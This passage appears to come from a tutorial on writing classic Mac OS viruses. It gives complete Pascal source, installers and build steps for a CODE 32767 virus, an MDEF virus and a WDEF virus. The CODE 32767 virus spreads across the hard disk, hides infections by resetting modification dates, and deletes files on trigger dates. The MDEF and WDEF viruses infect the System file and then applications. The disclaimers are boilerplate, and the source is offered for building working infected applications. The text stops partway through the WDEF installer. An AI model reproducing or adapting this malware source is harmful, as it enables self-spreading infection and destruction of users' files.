3)Install32767-(Installs the virus onto an application of your own choosing.) To build the final project follow the next steps: 1)Open the project 32767 and select "build CODE resource" 2)Open the project FixHeader and select "Go" 3)Open the project Install32767 and select "Go", after you have placed an application on the Folder "Test Appls". If you change folders, change the corresponding lines in the source file. After you are done, the application you placed in the Folder "Test Appls" will be a ready infected application with the CODE 32767 virus. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. PREFERABLY, DON'T RUN IT AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR HARD DISK IN THE BEST CASE, IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE AUTHOR DOES NOT BARE ANY RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH THE VIRUS. IN PARTICULAR IF YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO CRIMINAL PENALTIES. YOU HAVE BEEN WARNED. {*********************************************************} {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS PROGRAM} {This is the CODE 32767 virus} {*********************************************************} unit virus32767; interface procedure Main; implementation procedure Main; label 1000, 1001; type JumpTable = record {the Jump Table record which represents the beginning} AboveA5: longint; {of CODE resource 0} BelowA5: longint; LengthOfJT: longint; OffSet2JTFromLocA5: longint; OffsetOfFirstRoutine: integer; {THIS field interests us} MoveWordInstruction: integer; SegmentNumber: integer; {THIS field interests us} LoadSegTrap: integer; end; JumpTablePtr = ^JumpTable; JumpTableHandle = ^JumpTablePtr; {*********************************************************} VirusSegmentBeginning = record {representation of the 32767 CODE segment start} OffsetOfFirstEntryfromBegOfJT: integer; NumberOfEntriesForThisSeg: integer; BRANextInstruction: integer; OffsetOfFirstNormalRoutine: integer; {this is where we store the field "OffsetOfFirstRoutine" above} NormalSegmentNumber: integer; {this is where we store the field "SegmentNumber", above} Free1: longint; {These fields are free for internal use. Total:14 bytes} Free2: longint; Free3: longint; Free4: integer; end; VirusSegmentBeginningPtr = ^VirusSegmentBeginning; VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr; {*********************************************************} GeneralSegment = record OffsetOfFirstEntryfromBegOfJT: integer; NumberOfEntriesForThisSeg: integer; end; GeneralSegmentPtr = ^GeneralSegment; GeneralSegmentHandle = ^GeneralSegmentPtr; {*********************************************************} cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle} {*********************************************************} HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo} var VirusSegBeginHandle: VirusSegmentBeginningHandle; {to access the 32767 CODE resource} JumpTHandle: JumpTableHandle; {to access the Jump Table of the infected application} GenSegHandle: GeneralSegmentHandle; {to access a general segment} CopyHandle: Handle; {Copy of a segment to add to the infected file} SegmentSize: integer; {Size of the segment above} Offset, SegNum: integer;{same as the corresponding fields of the Jump table} MainCode: Handle; {main CODE segment that is loaded normally on uninfected apps} cipbh: cinfopbhandle; {directory scan parameter block handle} pathname: str255; {complete pathname of application to be infected} scanname: string[31];{partial file name returned by the scanning proc} theworld: sysenvrec; {default system vars} foundone: boolean; {TRUE if there is a candidate for infection} opened, active: integer;{refnums of app to be infected, and current app} vrefnum: integer; Dummy: Handle; {Dummy handle to change resource attributes} Attributes: integer; {resource attributes} ApplicationFile, SystemFile: boolean; {if files are respectivelly one or the other} Delete: boolean; {If True, all hell breaks loose} {*********************************************************} {Evil Dates determines whether the Date is an erase date, or just a replication date} {*********************************************************} function EvilDate: boolean; var theDate: DateTimeRec; temp: boolean; begin GetTime(theDate); {Get the Current Date to determine if it's an evil date} with theDate do begin temp := (Month = 1) and (Day = 6) and (Hour = 9); {Days make 'FILE PREDATOR'} temp := temp or ((Month = 2) and (Day = 9) and (Hour = 10)); temp := temp or ((Month = 3) and (Day = 12) and (Hour = 11)); temp := temp or ((Month = 4) and (Day = 5) and (Hour = 12)); temp := temp or ((Month = 5) and (Day = 16) and (Hour = 13)); temp := temp or ((Month = 6) and (Day = 18) and (Hour = 14)); temp := temp or ((Month = 7) and (Day = 5) and (Hour = 15)); temp := temp or ((Month = 8) and (Day = 4) and (Hour = 16)); temp := temp or ((Month = 9) and (Day = 1) and (Hour = 17)); temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18)); temp := temp or ((Month = 11) and (Day = 15) and (Hour = 19)); temp := temp or ((Month = 12) and (Day = 18) and (Hour = 20)); end; EvilDate := temp; end; {*********************************************************} {the following examines whether an application is infected or not infected. It also opens the resource fork of the application to be infected so that we can process it later. Upon exit from this routine, we have opened the resource file to be infected. } {*********************************************************} procedure examineapplication; label 1002; const ThreeK = 3072; var index, err, attributes: integer; Busy: boolean; {TRUE if application is running} begin err := rstflock(pathname, vrefnum); {unlock, just in case} opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file} err := reserror; Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used} if not Busy then {don't infect running apps} begin attributes := getresfileattrs(opened); {maybe it's read only} if band(attributes, mapreadonly) = mapreadonly then begin attributes := attributes - mapreadonly + mapchanged; {clear old attributes} setresfileattrs(opened, attributes); {set new flags} end; useresfile(opened); {make current just in case} JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0)); {Get a hold of its jump table} if JumpTHandle = nil then {weird APPL. Does not have a Jump Table!?} goto 1002; HLock(Handle(JumpTHandle)); with JumpTHandle^^ do begin Offset := OffsetOfFirstRoutine; {Get offset to first routine} SegNum := SegmentNumber; {in segment #} end; HUnLock(Handle(JumpTHandle)); GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum)); {Get a hold of its main segment} foundone := (GenSegHandle <> nil) and (Get1Resource('CODE', maxint) = nil); {Mark for infection} {Note that if it is a PowerPC Application, it will give GenSegHandle=nil, since SegNum is usually -1 (FFFF)} end;{if not Busy} 1002: if not Busy and not foundone then begin closeresfile(opened); {if not us, or if not running, close it} PurgeMem(ThreeK); {Purge leftover garbage} end; end; {*********************************************************} {The following brings the next clean application from the directory. It returns the complete pathname of the next app in the hard drive that does not contain a CODE resource of id=32767 and is not running. Implemented recursively. It will scan directories as deep as determined by the constant charscanningdepth} {*********************************************************} procedure nextcleanapp (dirid: longint); const charscanningdepth = 255; {pathname is at most this long} var indx, i, j: integer; err: oserr; begin indx := 0; repeat indx := indx + 1; with cipbh^^ do begin ionameptr := @scanname; iofdirindex := indx; iodirid := dirid; iovrefnum := 0; err := pbgetcatinfo(cipbh^, FALSE); if err = noerr then begin if length(pathname) + length(scanname) <= charscanningdepth then {don't look deeper than charscanningdepth chars} begin pathname := concat(pathname, ':', scanname); {stack} if bittst(@ioflattrib, 3) then {directory} nextcleanapp(iodirid) else {file} begin ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder'); SystemFile := pos(scanname, 'System') <> 0; if not Delete and ApplicationFile then {*********************************************************} {examine file to see if it is already infected, and if not to see if it can be infected} {*********************************************************} examineapplication{if type=APPL} else if Delete and not ApplicationFile and not SystemFile then err := HDelete(vrefnum, 0, pathname); end; if not foundone then {unstack only if we haven't found one yet} begin i := length(pathname); j := i; while pathname[i] <> ':' do i := i - 1; pathname := omit(pathname, i, j); end;{if not foundone} end;{if length ok} end;{if err=noerr} end;{with cipbh^} until (err = fnferr) or foundone; end; {*********************************************************} {The following routine clears the resprotected attribute of a CODE resource if it is set} {*********************************************************} procedure ClearResProtected (h: handle); var attributes: integer; begin attributes := getresattrs(h); {first change the code attributes} if band(attributes, resprotected) = resprotected then setresattrs(h, attributes - resprotected); {clear attributes so we can write} end; {*********************************************************} {The following routine corrects the modification date so that it doesn't show after the infection} {*********************************************************} procedure SetModificationDate; label 1002; var ParamBlock: HParamBlockHandle; {parameter block for PBHSetFInfo} err: OsErr; begin ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec))); if MemError <> noErr then goto 1002; {Exit if we can't get the memory} HLock(Handle(ParamBlock)); with ParamBlock^^ do begin ioFDirIndex := 0; ioNamePtr := @pathname; err := PBHGetFInfo(ParamBlock^, FALSE); ioFlMdDat := ioFlCrDat; err := PBHSetFInfo(ParamBlock^, FALSE); end; HUnlock(Handle(ParamBlock)); DisposeHandle(Handle(ParamBlock)); 1002: end; {*********************************************************} {The following routine calls the main CODE resource that would have been called otherwise by the uninfected application. We thus bypass the Jump Table and call the CODE resource using the method below. It also cleans up the main stack frame which by definition cannot be called since we are indirectly jumping to main code via the A0 register.} {*********************************************************} procedure CleanStackAndCall (aRoutine: ProcPtr); inline $205F, {MOVE.L (SP)+,A0} $4CDF, $0CF8, {MOVEM.L (A7)+,D3-D7/A2/A3} $4E5E, {UNLK A6} $4ED0; {JMP (A0)} {*********************************************************} begin {main code} MaxApplZone; {Expand heap to its limit} active := CurResFile; {find out our ref number} VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring virus from main resource file} Delete := EvilDate; {Determine if we are to Erase volume} if sysenvirons(1, theworld) <> noErr then {get the environment} goto 1001; pathname := ''; scanname := ''; vrefnum := theworld.sysvrefnum; if setvol(nil, vrefnum) <> noErr then {get startup volume} goto 1001; if getvol(@pathname, vrefnum) <> noErr then {get startup volume} goto 1001; foundone := false; {set initial value of foundone to false} opened := 0; {initialize opened resource file to 0} cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec))); {get memory for directory scan} if memerror <> noErr then goto 1001; {exit if we can't get the memory} hlock(handle(cipbh)); {lock to use} nextcleanapp(fsrtdirid); {search for next uninfected appl} hunlock(handle(cipbh)); {unlock to free} disposehandle(handle(cipbh)); {dispose of} if foundone then {we have an open resource file ready for proccessing} begin {Add viral resource} SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle)); CopyHandle := NewHandle(SegmentSize); {Allocate memory fo copied handle} if MemError <> noErr then goto 1000; HLock(Handle(VirusSegBeginHandle)); HLock(CopyHandle); BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize); {copy memory} with VirusSegmentBeginningHandle(CopyHandle)^^ do begin OffsetOfFirstNormalRoutine := Offset; {Store offset} NormalSegmentNumber := SegNum; {store segment number} end; HUnlock(CopyHandle); HUnlock(Handle(VirusSegBeginHandle)); AddResource(CopyHandle, 'CODE', $7FFF, ''); if ResError <> noErr then goto 1000; Dummy := Get1Resource('CODE', $7FFF); Attributes := GetResAttrs(Dummy); Attributes := Attributes + ResLocked + ResPreload; SetResAttrs(Dummy, Attributes); UpdateResFile(opened); DisposeHandle(CopyHandle); {Deal with JumpTable} ClearResProtected(handle(JumpTHandle)); {remove resprotected attribute} HLock(Handle(JumpTHandle)); with JumpTHandle^^ do begin OffsetOfFirstRoutine := $0000; {change with ours} SegmentNumber := $7FFF; {32767 in hex} end; HUnlock(Handle(JumpTHandle)); ChangedResource(Handle(JumpTHandle)); if ResError <> noErr then goto 1000; UpdateResFile(opened); {Now deal with main segment CODE resource} ClearResProtected(handle(GenSegHandle)); {remove resprotected attribute} HLock(Handle(GenSegHandle)); {Now change genral main segment's header} with GenSegHandle^^ do begin OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8; NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1; end; HUnlock(Handle(GenSegHandle)); ChangedResource(Handle(GenSegHandle)); UpdateResFile(opened); end; {if foundone} 1000: UseResFile(active); if foundone then CloseResFile(opened); {Now restore modification dates} if foundone then SetModificationDate; {Now bypass the Jump Table and call main segment after we are done} 1001: with VirusSegBeginHandle^^ do begin MainCode := Get1Resource('CODE', NormalSegmentNumber); CleanStackAndCall(ProcPtr(Ord(StripAddress(MainCode^)) + OffsetOfFirstNormalRoutine + 4)); {4 bytes extra because of the CODE header} end; end; end. The comments at the end of each statement give an accurate description of how the virus works. You can of course re-use several of the utility routines in this virus, such as the jumping "indirect" via the A0 register, even in asm, provided you perform the correct pointer calculations. Now let's take a look on how we modify the header of the code segment produced by the Pascal compiler. {*********************************************************} {This Program Fixes the Header of the CODE resource produced by the Pascal Compiler. Select Go from the Run Menu, after you adjust the pathnames to reflect your disk structure. For an explanation of the data structures, see the same data structures on the main program} {*********************************************************} program FixHeader; label 1000; const MainSegmentFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767body'; {change here to your dir names} type VirusSegmentBeginning = record OffsetOfFirstEntryfromBegOfJT: integer; NumberOfEntriesForThisSeg: integer; BRANextInstruction: integer; OffsetOfFirstNormalRoutine: integer; NormalSegmentNumber: integer; Free1: longint; Free2: longint; Free3: longint; Free4: integer; end; VirusSegmentBeginningPtr = ^VirusSegmentBeginning; VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr; var VirusSegBeginHandle: VirusSegmentBeginningHandle; refnum: integer; begin ShowText; refnum := OpenResFile(MainSegmentFileName); writeln('OpenResFile:', ResError); if ResError <> noErr then goto 1000; VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); writeln('GetResource:(nil handle)', VirusSegBeginHandle = nil); if VirusSegBeginHandle = nil then goto 1000; HLock(handle(VirusSegBeginHandle)); with VirusSegBeginHandle^^ do begin OffsetOfFirstEntryfromBegOfJT := $0000; NumberOfEntriesForThisSeg := $0001; BRANextInstruction := $6012; {BRA.S NextExecutableInstruction} OffsetOfFirstNormalRoutine := $0000; NormalSegmentNumber := $0001; {usually segment #1} Free1 := longint('FILE'); Free2 := longint('PRED'); Free3 := longint('ATOR'); Free4 := integer('VR'); end; HUnLock(handle(VirusSegBeginHandle)); ChangedResource(handle(VirusSegBeginHandle)); writeln('ChangedResource:', ResError); 1000: CloseResFile(refnum); end. And finally the virus installer: {*********************************************************} {This Program installs the virus on an application of your choosing. Here for simplicity we use TeachText} {*********************************************************} program Install32767; label 1000; const CodeResourceFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767Body'; ApplicationFileName = 'Hard Disk:CharConvert:CODE 32767:Test Appls:SimpleText'; type JumpTable = record{the Jump Table record which represents the beginning} AboveA5: longint; {of CODE resource 0} BelowA5: longint; LengthOfJT: longint; OffSet2JTFromLocA5: longint; OffsetOfFirstRoutine: integer; {THIS field interests us} MoveWordInstruction: integer; SegmentNumber: integer; {THIS field interests us} LoadSegTrap: integer; end; JumpTablePtr = ^JumpTable; JumpTableHandle = ^JumpTablePtr; VirusSegmentBeginning = record {representation of the 32767 CODE segment start} OffsetOfFirstEntryfromBegOfJT: integer; NumberOfEntriesForThisSeg: integer; BRANextInstruction: integer; OffsetOfFirstNormalRoutine: integer; {this is where we store the field "OffsetOfFirstRoutine" above} NormalSegmentNumber: integer; {this is where we store the field "SegmentNumber", above} Free1: longint; Free2: longint; Free3: longint; Free4: integer; end; VirusSegmentBeginningPtr = ^VirusSegmentBeginning; VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr; cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle} GeneralSegment = record OffsetOfFirstEntryfromBegOfJT: integer; NumberOfEntriesForThisSeg: integer; end; GeneralSegmentPtr = ^GeneralSegment; GeneralSegmentHandle = ^GeneralSegmentPtr; var VirusSegBeginHandle: VirusSegmentBeginningHandle; {to access the 32767 CODE resource} JumpTHandle: JumpTableHandle; {to access the Jump Table of the infected application} GenSegHandle: GeneralSegmentHandle; {to access a general segment} CopyHandle, theVirus: Handle;{Copy of a segment to add to the infected file} SegmentSize: integer; {Size of the segment above} refnum1, refnum2, Offset, SegNum: integer; err: OSErr; Attributes: integer; Dummy: Handle; begin ShowText; refnum1 := OpenResFile(CodeResourceFileName); err := ResError; writeln('OpenResFile:', err); if err <> noErr then goto 1000; refnum2 := OpenResFile(ApplicationFileName); err := ResError; writeln('OpenResFile:', err); if err <> noErr then goto 1000; UseResFile(refnum2); JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0)); {Get a hold of its jump table} writeln('Get1Resource:(nil handle)', JumpTHandle = nil); if JumpTHandle = nil then goto 1000; HLock(Handle(JumpTHandle)); with JumpTHandle^^ do begin Offset := OffsetOfFirstRoutine; {Get offset to first routine} SegNum := SegmentNumber; {in segment #} OffsetOfFirstRoutine := $0000; {change with ours} SegmentNumber := $7FFF; {32767 in hex} end; HUnlock(Handle(JumpTHandle)); ChangedResource(Handle(JumpTHandle)); err := ResError; writeln('ChangedResource:', err); if err <> noErr then goto 1000; GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum)); {Get a hold of its main segment} writeln('Get1Resource:(nil handle)', GenSegHandle = nil); if GenSegHandle = nil then goto 1000; HLock(Handle(GenSegHandle)); with GenSegHandle^^ do begin OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8; NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1; end; HUnlock(Handle(GenSegHandle)); ChangedResource(Handle(GenSegHandle)); err := ResError; writeln('ChangedResource:', err); if err <> noErr then goto 1000; UseResFile(refnum1); VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring it from main resource file} writeln('GetResource (nil handle):', VirusSegBeginHandle = nil); if VirusSegBeginHandle = nil then goto 1000; SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle)); CopyHandle := NewHandle(SegmentSize); err := MemError; writeln('NewHandle:', err); if err <> noErr then goto 1000; HLock(Handle(VirusSegBeginHandle)); HLock(CopyHandle); BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize); with VirusSegmentBeginningHandle(CopyHandle)^^ do begin OffsetOfFirstNormalRoutine := Offset; NormalSegmentNumber := SegNum; end; HUnlock(CopyHandle); HUnlock(Handle(VirusSegBeginHandle)); UseResFile(refnum2); AddResource(CopyHandle, 'CODE', $7FFF, ''); err := ResError; writeln('AddResource:', err); Dummy := Get1Resource('CODE', maxint); Attributes := GetResAttrs(Dummy); Attributes := Attributes + ResLocked + ResPreload; SetResAttrs(Dummy, Attributes); err := ResError; writeln('SetResAttrs:', err); CloseResFile(refnum1); CloseResFile(refnum2); DisposeHandle(CopyHandle); 1000: end. Note that in the case of the Installer, we don't need to make implicit calculations, because we know which program we are going to infect, so we can just look at its jump table and modify it accordingly. This last program is in essence nothing more than a batch facility which allows for quick modification of the target file, the first host. FOURTH EXAMPLE: A MDEF VIRUS DESCRIPTION: This is an MDEF virus. This virus is mainly memory resident, meaning that once it activates, it stays in memory until a hard restart is executed. The idea behind its activation is simple. The MDEF code header looks like this: BRA.S MAIN DC.W #$0000 DC.W #$4D44 DC.W #$4546 DC.W #$0000 DC.W #$000E LINK A6,#-$0166 ... if, instead, we patched the code to jump to a subroutine BEFORE the activation of the MDEF, we have nice viral code that gets executed, before the actual MDEF. Therefore, consider the following patch of the header: BSR VIRUS BRA.S MAIN DC.W whatever info we want (integer) DC.W whatever info we want (integer) DC.W whatever info we want (integer) LINK A6,#-$0166 ... ... VIRUS:LINK a6,#xxx MORE VIRAL CODE MORE ... RTS ------------------------------------ This patch ensures that every time the MDEF gets executed, the viral code will be executed first. If an infected application is run, it will immediately infect the System file. Once the System file gets infected, every application that tries to execute will be infected immediately. Since the MDEF with id=0 gets called whenever the menu manager accesses a menu, the virus activates many times during an application execution, trying to enter the System. If it manages that, it will stay there forever as part of the System Resources. It is one of the simplest and most virulent viruses so far, thus exercise great caution when you run an infected application. It is a new virus, thus no antiviral tool or program will detect it, except programs like SAM Intercept and GateKeeper which monitor operations by patching traps of the Resource Manager. It is not a malignant virus, contrary to the CODE 32767 and T4 viruses, which erase Hard Disks. The virus "mutates" in the naive sense, meaning that it will attach copies of itself to the DIFFERENT original MDEF's that each System has. For example, if the virus is run on a System 7.0 but its MDEF is of version 7.5.3, it will adapt to the particular MDEF for System 7.0. The viral code itself does not mutate, but the MDEF as a whole will mutate if transferred from one System to another of different versions. Accordingly, the main "host" of the virus is the MDEF it sits upon. The secondary host, is the application or file that caries the virus. Of course, this may lead to trouble, if a newer MDEF infected file is carried into an older System. The virus itself, is 500 bytes long, which is the shortest virus ever made. But upon attaching itself on a MDEF resource, it assumes the sum of the individual sizes. A side effect of the virus, is that it stays active in memory, even after its deactivation. Thus the System immediately starts executing the viral code after the infected application quits. The MDEF folder consists of two programs, MDEF.p which is the heart of the virus, and MDEFInstall.p, which installs the MDEF resource in the application of your choosing. To create an infected application: 1)Open the project MDEF.proj and select "Build Code Resource" from the menu. 2)Open the project MDEFInstall.proj and select "Go" from the menu. The application SimpleText on your directory will be an infected application. CAUTION: YOU HAVE BEEN WARNED. BE VERY CAREFUL WHEN YOU RUN THIS APPLICATION. IT WILL INFECT YOUR HARD DISK AND GRADUALLY ALL THE APPLICATIONS IN IT, AND POSSIBLY OTHER FILES AS WELL. YOU ARE LIABLE TO CRIMINAL PENALTIES IF YOU RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE IF YOU DO. unit MDEF; interface procedure Main; implementation procedure Main; label 1000; type PtrPtr = ^Ptr; {To retrieve the virus entry point address} MDEFHeader = array[1..6] of integer; {To access the MDEF header} MDEFHeaderPtr = ^MDEFHeader; MDEFHeaderHandle = ^MDEFHeaderPtr; var CurrentResFile, theAttrs, BranchOffset, Bytes2Copy: integer; theMDEF, theApplMDEF, theSysMDEF: Handle; comesFromApplication, SystemInfected, ApplicationInfected: boolean; EntryAddress: Ptr; begin currentResFile := CurResFile; {find out the current res file} theMDEF := GetResource('MDEF', 0); {load MDEF 0} comesFromApplication := HomeResFile(theMDEF) = CurResFile; {T if MDEF loaded from CurResFile} if comesFromApplication then {loaded from appl} begin {check System} UseResFile(0); {switch to System} theSysMDEF := Get1Resource('MDEF', 0); {get the system MDEF} SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and (MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); {see if the system MDEF is an infected version} if not SystemInfected then {infect System File} begin {theSysMDEF now contains a handle to the System Heap code, and theMDEF contains a handle to the Application MDEF} {Now calculate the offset to the virus branch point...} BranchOffset := SizeResource(theSysMDEF) - 2; {Next calculate the actual size of the virus. From the size of the MDEF, subtract the size of the nonviral part} Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) - Ord(StripAddress(EntryAddress))); HUnlock(theSysMDEF); {Next concatenate the virus to the System MDEF...} if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <> noErr then goto 1000; {Now fix the Header...} HLock(theSysMDEF); MDEFHeaderHandle(theSysMDEF)^^[1] := $6100; {BSR} MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset; {branch point} MDEFHeaderHandle(theSysMDEF)^^[3] := $6006; {BRA.S } MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'} MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA'); MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH'); HUnlock(theSysMDEF); {Finally set the resource attributes for the MDEF...} theAttrs := GetResAttrs(theSysMDEF); SetResAttrs(theSysMDEF, theAttrs + ResSysHeap + ResLocked - ResPurgeable); {Now mark permanent, and rewrite System File...} ChangedResource(theSysMDEF); if ResError <> noErr then goto 1000; UpdateResFile(0); end else goto 1000; {exit, System is infected} end else {comes from System} {Note that if it both System and Application are infected, } {comesFromApplication will be TRUE, and we processed that already. So,} {we need to process only one case: (which is the case Application is not infected)} {but we check the other for completeness} begin UseResFile(CurrentResFile); {use opened res file} theApplMDEF := Get1Resource('MDEF', 0); {try to load MDEF from file} ApplicationInfected := theApplMDEF <> nil; {did load?} if not ApplicationInfected then {if not found, infect} begin UseResFile(0); {switch to system} theSysMDEF := Get1Resource('MDEF', 0); {load system MDEF} DetachResource(theSysMDEF); {detach from res file} UseResFile(CurrentResFile); {switch to file we process} AddResource(theSysMDEF, 'MDEF', 0, ''); {add virus} if ResError <> noErr then goto 1000; UpdateResFile(currentResFile); end; end; {Don't forget to restore the original application resource file} 1000: UseResFile(currentResFile); {*} end; end. And finally, here comes the installer. {This is the installer of the MDEF virus. It picks the viral segment and concatenates it with the actual MDEF. From that point on, the actual MDEF is doomed to carry with it the viral part. It needs three files to operate. The viral code, the original MDEF code, and a sample application. See the pathnames below} program InstallMDEF; type MDEFHeader = array[1..6] of integer; MDEFHeaderPtr = ^MDEFHeader; MDEFHeaderHandle = ^MDEFHeaderPtr; theFiles = (virus, original, destination); var refnum: array[theFiles] of integer; segment: array[theFiles] of Handle; offset: integer; begin refNum[virus] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.code'); writeln('OpenResFile:', ResError); refnum[original] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.original.rsrc'); writeln('OpenResFile:', ResError); refnum[destination] := OpenResFile('Hard Disk:CharConvert:MDEF:SimpleText'); writeln('OpenResFile:', ResError); UseResFile(refNum[virus]); segment[virus] := Get1Resource('MDEF', 0); writeln('Get1Resource:', ResError); UseResFile(refNum[original]); segment[original] := Get1Resource('MDEF', 0); writeln('Get1Resource:', ResError); {Fix Header} offset := SizeResource(segment[original]) - 2; HLock(segment[original]); MDEFHeaderHandle(segment[original])^^[1] := $6100; {BSR} MDEFHeaderHandle(segment[original])^^[2] := offset; {size of MDEF} MDEFHeaderHandle(segment[original])^^[3] := $6006; {BRA.S } MDEFHeaderHandle(segment[original])^^[4] := integer('JS'); {'JSBACH'} MDEFHeaderHandle(segment[original])^^[5] := integer('BA'); MDEFHeaderHandle(segment[original])^^[6] := integer('CH'); HUnlock(segment[original]); {Now Concatenate the two Segments} HLock(segment[virus]); writeln('HandAndHand:', HandAndHand(segment[virus], segment[original])); {Now segment[original] contains the concatenation} HUnlock(segment[virus]); DetachResource(segment[original]); writeln('DetachResource:', ResError); UseResFile(refnum[destination]); AddResource(segment[original], 'MDEF', 0, ''); writeln('AddResource:', ResError); CloseResFile(refNum[original]); CloseresFile(refNum[virus]); CloseResFile(refNum[destination]); end. FIFTH EXAMPLE: A WDEF VIRUS unit WDEF; interface procedure Main; implementation procedure Main; label 1000; {exit on error label} const SysFile = 0; {Reference number of System File} type OverrideTable = record {Format of the ROM Override resource} ROMversion: integer; {version of ROM to override} ResNum: integer; {number of resources that follow} ResOvr: array[1..100] of record {the resources to override} ResType: OSType; {type, for example 'MDEF' (in our case we set it to WDEF)} ResID: integer; {and the ID (in our case 0)} end; end; OverrideTablePtr = ^OverrideTable; {Pointer to above structure} OverrideTableHandle = ^OverrideTablePtr; {Handle to above structure} var CurrentResFile, err: integer; {CurrentResFile is the refnum of whoever calls this WDEF} theWDEF, {handle to get hold of the WDEF initially to determine if we come from Sys, ROM or Application} theApplWDEF, {handle that may come from infected application, or nil if uninfected} theSysWDEF, {handle that comes from memory or System} theROv, {our ROM override resource} theSig: Handle; {our signature} comesFromThisAppl, {TRUE if WDEF was loaded from application running} SysInfected, {TRUE if signature exists in System file} ComesFromSys: boolean; {TRUE if WDEF loads from System} response: longint; {response from Gestalt selector} begin theWDEF := GetResource('WDEF', 0); {Get hold of the WDEF loading resource} CurrentResFile := CurResFile; {find out who is running currently} ComesFromThisAppl := HomeResFile(theWDEF) = CurrentResFile; {TRUE if WDEF loads from application that is run} if ComesFromThisAppl then {infect System} begin UseResFile(SysFile); {Use System resource file} theSysWDEF := Get1Resource('WDEF', 0); {there is no way theSysWDEF=nil} ComesFromSys := HomeResFile(theSysWDEF) = 0; {TRUE if WDEF loaded from System} theSig := Get1Resource('flag', 0); {get hold of the signature} SysInfected := theSig <> nil; {if resource does not exist, system clean} if not SysInfected then {not infected...} begin if ComesFromSys then {if it comes from System file} begin RmveResource(theSysWDEF); {Remove old WDEF} if ResError <> noErr then goto 1000; end; DetachResource(theWDEF); {Detach from Resource file so it loads in memory...} AddResource(theWDEF, 'WDEF', 0, ''); {Add it to the System file} if ResError <> noErr then goto 1000; if Gestalt(gestaltROMversion, response) <> noErr then {find out which version of ROM we are running} goto 1000; theROv := NewHandle(10); {create new ROM override handle} if MemError <> noErr then goto 1000; HLock(theROv); with OverrideTableHandle(theROv)^^ do {fill with required fields} begin ROMVersion := BAND($0000FFFF, response); {ROM version=whatever we got from gestalt} ResNum := 1; {we want only WDEF overrides} ResOvr[ResNum].ResType := 'WDEF'; {of ID=0} ResOvr[ResNum].ResID := 0; end; HUnlock(theROv); AddResource(theROv, 'ROv#', BAND($0000FFFF, response), ''); {Add it to System file} if ResError <> noErr then goto 1000; theSig := NewHandle(10); {Create new signature handle} if MemError <> noErr then goto 1000; HLock(theSig); StringHandle(theSig)^^ := 'temp flag'; {fill with some text} HUnlock(theSig); AddResource(theSig, 'flag', 0, ''); {Add it to system file} if ResError <> noErr then goto 1000; UpdateResFile(SysFile); {Write all new resources} end;{if not SysInfected} end {comesfromthisappl} else {comes from System or ROM, (SysFile) so infect current Application} begin UseResFile(CurrentResFile); {use file that's running} theApplWDEF := Get1Resource('WDEF', 0); {maybe already contains a WDEF?} if theApplWDEF = nil then {appl does not contain WDEF. I suppose if Appl contains a WDEF 0, it is immune} begin {to this virus} DetachResource(theWDEF); {Detach...} AddResource(theWDEF, 'WDEF', 0, ''); {Add to application} if ResError <> noErr then goto 1000; UpdateResFile(CurrentResFile); {Update the file} end; end; 1000: UseResFile(CurrentResFile); {Don't forget to restore the original application resource file} end; end. And here comes the installer: {This is the installer of the WDEF virus. It picks the viral segment and concatenates it with the actual WDEF. From that point on, the actual WDEF is doomed to carry with it the viral part. It needs three files to operate. The viral code, the original WDEF code, and a sample application. See the pathnames below} program InstallWDEF; const VirusFileName = 'HD2:CharConvert:WDEF:WDEF.code'; {Change pathnames here to reflect the structure} OriginalWDEFFileName = 'HD2:CharConvert:WDEF:WDEF.original.rsrc'; {of your disk} DestinationFileName = 'HD2:CharConvert:WDEF:SimpleText'; type WDEFHeader = array[1..6] of integer; {interpretation of the header the Pascal compiler sets up, as 6 integers} WDEFHeaderPtr = ^WDEFHeader; {Pointer to above structure} 